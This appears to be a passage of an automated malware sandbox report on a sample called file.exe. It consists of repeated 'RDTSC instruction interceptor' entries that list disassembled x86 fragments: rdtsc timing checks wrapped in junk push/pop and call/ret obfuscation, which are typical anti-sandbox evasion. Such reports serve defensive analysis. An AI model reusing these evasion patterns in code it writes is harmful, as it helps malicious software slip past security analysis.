Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57887F second address: 57889F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B515FBFAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B515FBFDh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578A06 second address: 578A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578A0F second address: 578A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578CDD second address: 578CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579A3E second address: 579A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jp 00007F40B515FBFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579BA3 second address: 579BAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007F40B477E786h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579BAF second address: 579BE8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40B515FBFCh 0x00000008 jns 00007F40B515FBF6h 0x0000000e je 00007F40B515FC13h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579BE8 second address: 579BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579BEE second address: 579BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E4FC second address: 57E514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B477E794h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EC08 second address: 57EC0D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FE1D second address: 57FE23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FE23 second address: 57FE27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FE27 second address: 57FE41 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jng 00007F40B477E794h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FE41 second address: 57FE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FFA8 second address: 57FFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B477E786h 0x0000000a popad 0x0000000b jmp 00007F40B477E797h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F40B477E796h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549FDE second address: 549FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F40B515FC05h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549FFB second address: 54A002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A002 second address: 54A008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A008 second address: 54A016 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F40B477E786h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A016 second address: 54A023 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A023 second address: 54A02D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40B477E786h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5862C0 second address: 5862DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F40B515FC09h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585873 second address: 5858A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jp 00007F40B477E786h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jno 00007F40B477E78Eh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b jl 00007F40B477E786h 0x00000021 push edi 0x00000022 pop edi 0x00000023 jne 00007F40B477E786h 0x00000029 popad 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5858A8 second address: 5858AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5858AF second address: 5858BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F40B477E786h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5858BB second address: 5858BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585E42 second address: 585E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585E46 second address: 585E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B515FC07h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585E67 second address: 585E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585E6D second address: 585E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585E71 second address: 585E89 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F40B477E792h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585E89 second address: 585E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587181 second address: 587185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587211 second address: 587240 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F40B515FBFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F40B515FBFCh 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F40B515FBFBh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587240 second address: 587284 instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B477E799h 0x00000008 jmp 00007F40B477E793h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edi 0x00000014 jmp 00007F40B477E795h 0x00000019 pop edi 0x0000001a pop eax 0x0000001b stc 0x0000001c push D6585ED1h 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587284 second address: 587288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587383 second address: 587387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587387 second address: 5873AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F40B515FC0Ah 0x0000000c popad 0x0000000d push eax 0x0000000e push ebx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587E43 second address: 587E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F40B477E78Ch 0x0000000b jbe 00007F40B477E786h 0x00000011 popad 0x00000012 push eax 0x00000013 jbe 00007F40B477E7A3h 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007F40B477E786h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587FB4 second address: 587FD3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F40B515FC05h 0x00000008 jmp 00007F40B515FBFFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587FD3 second address: 587FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587FD7 second address: 587FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B8C1 second address: 58B8C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58C06C second address: 58C072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E70B second address: 58E733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E798h 0x00000009 popad 0x0000000a jmp 00007F40B477E78Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E733 second address: 58E738 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D4C3 second address: 54D4D0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED8C second address: 58ED94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED94 second address: 58ED98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED98 second address: 58ED9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594644 second address: 59464E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5937F2 second address: 5937F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59464E second address: 594652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5937F6 second address: 5937FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594652 second address: 59469E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 or bx, 93E1h 0x0000000d push 00000000h 0x0000000f jmp 00007F40B477E790h 0x00000014 cmc 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F40B477E788h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov bh, dh 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 pop eax 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59469E second address: 5946A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5946A2 second address: 5946A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59560C second address: 59566D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F40B515FBF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F40B515FBF8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov di, cx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007F40B515FBF8h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 push 00000000h 0x00000048 and bx, 9B11h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594898 second address: 5948B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E790h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F40B477E790h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59566D second address: 595671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595671 second address: 595677 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59652C second address: 596593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F40B515FBF8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007F40B515FBF8h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 push 00000000h 0x00000045 mov di, 3F3Bh 0x00000049 xchg eax, esi 0x0000004a jnp 00007F40B515FC00h 0x00000050 pushad 0x00000051 jnp 00007F40B515FBF6h 0x00000057 push edi 0x00000058 pop edi 0x00000059 popad 0x0000005a push eax 0x0000005b push esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59580C second address: 595812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59851B second address: 598536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5975E5 second address: 5975E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598536 second address: 59853D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5975E9 second address: 5975EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59872C second address: 598732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B54A second address: 59B54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A835 second address: 59A839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B54F second address: 59B554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A839 second address: 59A843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B554 second address: 59B55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A843 second address: 59A86A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d jo 00007F40B515FBF6h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F40B515FBF6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B55A second address: 59B5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a or bh, FFFFFFE7h 0x0000000d push 00000000h 0x0000000f mov bx, 606Dh 0x00000013 mov dword ptr [ebp+122D1CE3h], ebx 0x00000019 push 00000000h 0x0000001b jmp 00007F40B477E791h 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 pushad 0x00000023 jmp 00007F40B477E797h 0x00000028 push edx 0x00000029 pop edx 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e pop eax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B5A7 second address: 59B5CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F40B515FBFCh 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D670 second address: 59D676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F62C second address: 59F6A4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F40B515FBF8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F40B515FBF8h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f push edi 0x00000040 add ebx, 23DBC9B8h 0x00000046 pop ebx 0x00000047 push 00000000h 0x00000049 add dword ptr [ebp+122D1D79h], edi 0x0000004f jng 00007F40B515FBFCh 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 jo 00007F40B515FBF6h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F6A4 second address: 59F6A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E794 second address: 59E7AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0733 second address: 5A073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F40B477E786h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A184A second address: 5A1850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1850 second address: 5A18B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+124828B6h] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 jmp 00007F40B477E792h 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d jmp 00007F40B477E78Ch 0x00000022 xchg eax, esi 0x00000023 push ebx 0x00000024 jo 00007F40B477E798h 0x0000002a jmp 00007F40B477E792h 0x0000002f pop ebx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F40B477E78Ch 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2C08 second address: 5A2C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F40B515FBF6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A75B0 second address: 5A75B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABF65 second address: 5ABF6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F40B515FBF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2011 second address: 5B2032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E794h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
